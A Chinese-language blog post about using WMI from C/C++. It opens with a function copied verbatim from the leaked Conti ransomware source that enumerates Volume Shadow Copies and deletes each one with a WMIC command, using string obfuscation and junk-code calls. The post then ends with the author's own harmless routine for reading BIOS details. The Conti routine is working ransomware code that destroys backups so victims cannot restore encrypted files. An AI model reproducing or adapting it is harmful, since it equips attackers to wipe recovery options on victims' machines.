C/C++ 操作 WMI

代码来自泄露的 Conti 勒索软件源码:https://www.vx-underground.org/#E:/root/Archive/Conti Leaks

SHORT
cryptor::DeleteShadowCopies(PVOID Reserved)
{

	HRESULT hres;

	// Step 1: --------------------------------------------------
	// Initialize COM. ------------------------------------------

	hres = (HRESULT)pCoInitializeEx(0, COINIT_MULTITHREADED);
	if (FAILED(hres))
	{
		return FALSE;                  // Program has failed.
	}

	morphcode(hres);

	// Step 2: --------------------------------------------------
	// Set general COM security levels --------------------------

	hres = (HRESULT)pCoInitializeSecurity(
		NULL,
		-1,                          // COM authentication
		NULL,                        // Authentication services
		NULL,                        // Reserved
		RPC_C_AUTHN_LEVEL_DEFAULT,   // Default authentication 
		RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation  
		NULL,                        // Authentication info
		EOAC_NONE,                   // Additional capabilities 
		NULL                         // Reserved
	);

	morphcode(hres);

	if (FAILED(hres))
	{
		pCoUninitialize();
		return FALSE;                    // Program has failed.
	}

	// Step 3: ---------------------------------------------------
	// Obtain the initial locator to WMI -------------------------

	IWbemLocator* pLoc = NULL;
	hres = (HRESULT)pCoCreateInstance(
		CLSID_WbemLocator,
		0,
		CLSCTX_INPROC_SERVER,
		IID_IWbemLocator, (LPVOID*)&pLoc);

	morphcode(pLoc);

	IWbemContext* pContext = NULL;
	SYSTEM_INFO SysInfo;
	pGetNativeSystemInfo(&SysInfo);

	morphcode(SysInfo.dwActiveProcessorMask);

	if (SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {

		hres = (HRESULT)pCoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&pContext);
		if (FAILED(hres))
		{
			pCoUninitialize();
			return FALSE;
		}

		morphcode(hres);

		BSTR Arch = pSysAllocString(OBFW(L"__ProviderArchitecture"));

		VARIANT vArchitecture;
		pVariantInit(&vArchitecture);
		V_VT(&vArchitecture) = VT_I4;
		V_INT(&vArchitecture) = 64;
		hres = pContext->SetValue(Arch, 0, &vArchitecture);

		morphcode(hres);

		pVariantClear(&vArchitecture);

		if (FAILED(hres))
		{
			pCoUninitialize();
			return FALSE;                 // Program has failed.
		}

	}

	// Step 4: -----------------------------------------------------
	// Connect to WMI through the IWbemLocator::ConnectServer method

	IWbemServices* pSvc = NULL;

	// Connect to the root\cimv2 namespace with
	// the current user and obtain pointer pSvc
	// to make IWbemServices calls.
	BSTR Path = pSysAllocString(OBFW(L"ROOT\\CIMV2"));

	hres = pLoc->ConnectServer(
		Path, // Object path of WMI namespace
		NULL,                    // User name. NULL = current user
		NULL,                    // User password. NULL = current
		0,                       // Locale. NULL indicates current
		NULL,                    // Security flags.
		0,                       // Authority (for example, Kerberos)
		pContext,                       // Context object 
		&pSvc                    // pointer to IWbemServices proxy
	);

	morphcode(pSvc);

	if (FAILED(hres))
	{

		pLoc->Release();
		pCoUninitialize();
		return FALSE;                // Program has failed.
	}

	// Step 5: --------------------------------------------------
	// Set security levels on the proxy -------------------------

	hres = (HRESULT)pCoSetProxyBlanket(
		pSvc,                        // Indicates the proxy to set
		RPC_C_AUTHN_WINNT,           // RPC_C_AUTHN_xxx
		RPC_C_AUTHZ_NONE,            // RPC_C_AUTHZ_xxx
		NULL,                        // Server principal name 
		RPC_C_AUTHN_LEVEL_CALL,      // RPC_C_AUTHN_LEVEL_xxx 
		RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
		NULL,                        // client identity
		EOAC_NONE                    // proxy capabilities 
	);

	morphcode(hres);

	if (FAILED(hres))
	{
		pSvc->Release();
		pLoc->Release();
		pCoUninitialize();
		return FALSE;               // Program has failed.
	}

	// Step 6: --------------------------------------------------
	// Use the IWbemServices pointer to make requests of WMI ----

	// For example, get the name of the operating system
	BSTR WqlStr = pSysAllocString(OBFW(L"WQL"));
	BSTR Query = pSysAllocString(OBFW(L"SELECT * FROM Win32_ShadowCopy"));

	IEnumWbemClassObject* pEnumerator = NULL;
	hres = pSvc->ExecQuery(
		WqlStr,
		Query,
		WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
		NULL,
		&pEnumerator);

	morphcode(hres);

	if (FAILED(hres))
	{
		pSvc->Release();
		pLoc->Release();
		pCoUninitialize();
		return 1;               // Program has failed.
	}

	// Step 7: -------------------------------------------------
	// Get the data from the query in step 6 -------------------

	IWbemClassObject* pclsObj = NULL;
	ULONG uReturn = 0;

	morphcode(pEnumerator);

	while (pEnumerator)
	{
		HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
			&pclsObj, &uReturn);

		morphcode(hr);

		if (0 == uReturn)
		{
			break;
		}

		VARIANT vtProp;

		// Get the value of the Name property
		hr = pclsObj->Get(OBFW(L"ID"), 0, &vtProp, 0, 0);

		morphcode(hr);

		WCHAR CmdLine[1024];
		RtlSecureZeroMemory(CmdLine, sizeof(CmdLine));
		wsprintfW(CmdLine, OBFW(L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete"), vtProp.bstrVal);

		morphcode();

		LPVOID Old;
		pWow64DisableWow64FsRedirection(&Old);

		morphcode(Old);

		CmdExecW(CmdLine);
		pWow64RevertWow64FsRedirection(Old);

		morphcode(Old);

		pVariantClear(&vtProp);
		pclsObj->Release();
	}

	// Cleanup
	// ========
	if (pContext) {
		pContext->Release();
	}
	pSvc->Release();
	pLoc->Release();
	pEnumerator->Release();
	pCoUninitialize();
	return TRUE;
}

因为自已要通过 WMI 的方式获取硬件一些信息,以下为 C/C++ 操作 WMI 的大概流程

// 获取 BIOS 信息
void GetBIOSInfo()
{
	// 用 CoInitializeEx 初始化 COM 接口
	HRESULT hResult = CoInitializeEx(0, COINIT_MULTITHREADED);

	if (FAILED(hResult))
	{
		return;
	}

	// 用 CoInitializeSecurity 注册并设置进程的默认的安全值
	hResult = CoInitializeSecurity(
		NULL,
		-1,
		NULL,
		NULL,
		RPC_C_AUTHN_LEVEL_DEFAULT,
		RPC_C_IMP_LEVEL_IMPERSONATE,
		NULL,
		EOAC_NONE,
		NULL
	);

	if (FAILED(hResult))
	{
		CoUninitialize();
		return;
	}

	// 创建一个到 WMI 命名空间的连接
	// 用 CoCreateInstance 来初始化 IwbemLocator 接口
	IWbemLocator* pIWbemLoc = NULL;

	hResult = CoCreateInstance(
		CLSID_WbemLocator,
		0,
		CLSCTX_INPROC_SERVER,
		IID_IWbemLocator,
		(LPVOID*)&pIWbemLoc
	);

	if (FAILED(hResult))
	{
		CoUninitialize();
		return;
	}

	// 用 IWbemLocator::ConnectServer 连接到 WMI
	// ConnectServer 返回一个 IWbemServices 接口代理,可以用来访问本地或是远程 WMI 命名空间
	IWbemServices* pIWbemSer = NULL;

	hResult = pIWbemLoc->ConnectServer(
		BSTR(L"root\\CIMV2"),
		NULL,
		NULL,
		0,
		NULL,
		0,
		0,
		&pIWbemSer
	);

	if (FAILED(hResult))
	{
		pIWbemLoc->Release();
		CoUninitialize();
		return;
	}

	// 设置 WMI 连接的安全属性
	// 因为 IWbemServices 代理允许使用进程外对象,但在 COM 中,如果没有设置安全属性
	// 是不允许进程间互相访问的,所以需要 CoSetProxyBlanket 设置 IWbemServices 代理安全值
	hResult = CoSetProxyBlanket(
		pIWbemSer,
		RPC_C_AUTHN_WINNT,
		RPC_C_AUTHZ_NONE,
		NULL,
		RPC_C_AUTHN_LEVEL_CALL,
		RPC_C_IMP_LEVEL_IMPERSONATE,
		NULL,
		EOAC_NONE
	);

	if (FAILED(hResult))
	{
		pIWbemSer->Release();
		pIWbemLoc->Release();
		CoUninitialize();
		return;
	}

	// 执行自己需要的操作
	// WMI 通过 COM 提供了许多用来访问系统数据的接口,下面读取 BIOS 信息
	// 用 IWbemServices 指针向 WMI 发送请求,获取 Win32_BIOS 类的实例集合
	IEnumWbemClassObject* pIEnumerator = NULL;

	hResult = pIWbemSer->ExecQuery(
		bstr_t("WQL"),
		bstr_t("Select * FROM Win32_BIOS"),
		WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
		NULL,
		&pIEnumerator
	);

	if (FAILED(hResult))
	{
		pIWbemSer->Release();
		pIWbemLoc->Release();
		CoUninitialize();
		return;
	}

	// 遍历 IEnumWbemClassObject 输出信息
	IWbemClassObject* pIWbemObj = NULL;

	while (pIEnumerator)
	{
		ULONG ulReturn = 0;

		hResult = pIEnumerator->Next(
			WBEM_INFINITE,
			1,
			&pIWbemObj,
			&ulReturn
		);

		if (ulReturn == 0)
		{
			break;
		}

		VARIANT vtProp;

		hResult = pIWbemObj->Get(L"SMBIOSBIOSVersion", 0, &vtProp, 0, 0);
		std::wcout << "SMBIOSBIOSVersion: " << vtProp.bstrVal << std::endl;
		hResult = pIWbemObj->Get(L"Manufacturer", 0, &vtProp, 0, 0);
		std::wcout << "Manufacturer: " << vtProp.bstrVal << std::endl;
		hResult = pIWbemObj->Get(L"Name", 0, &vtProp, 0, 0);
		std::wcout << "Name: " << vtProp.bstrVal << std::endl;
		hResult = pIWbemObj->Get(L"SerialNumber", 0, &vtProp, 0, 0);
		std::wcout << "SerialNumber: " << vtProp.bstrVal << std::endl;
		hResult = pIWbemObj->Get(L"Version", 0, &vtProp, 0, 0);
		std::wcout << "Version: " << vtProp.bstrVal << std::endl;

		VariantClear(&vtProp);
	}

	if (pIWbemObj != NULL)
	{
		pIWbemObj->Release();
	}

	if (pIEnumerator != NULL)
	{
		pIEnumerator->Release();
	}

	// 释放资源
	pIWbemSer->Release();
	pIWbemLoc->Release();
	CoUninitialize();
}
posted @ 2023-09-06 10:13  煙沫凡塵  阅读(157)  评论(0编辑  收藏  举报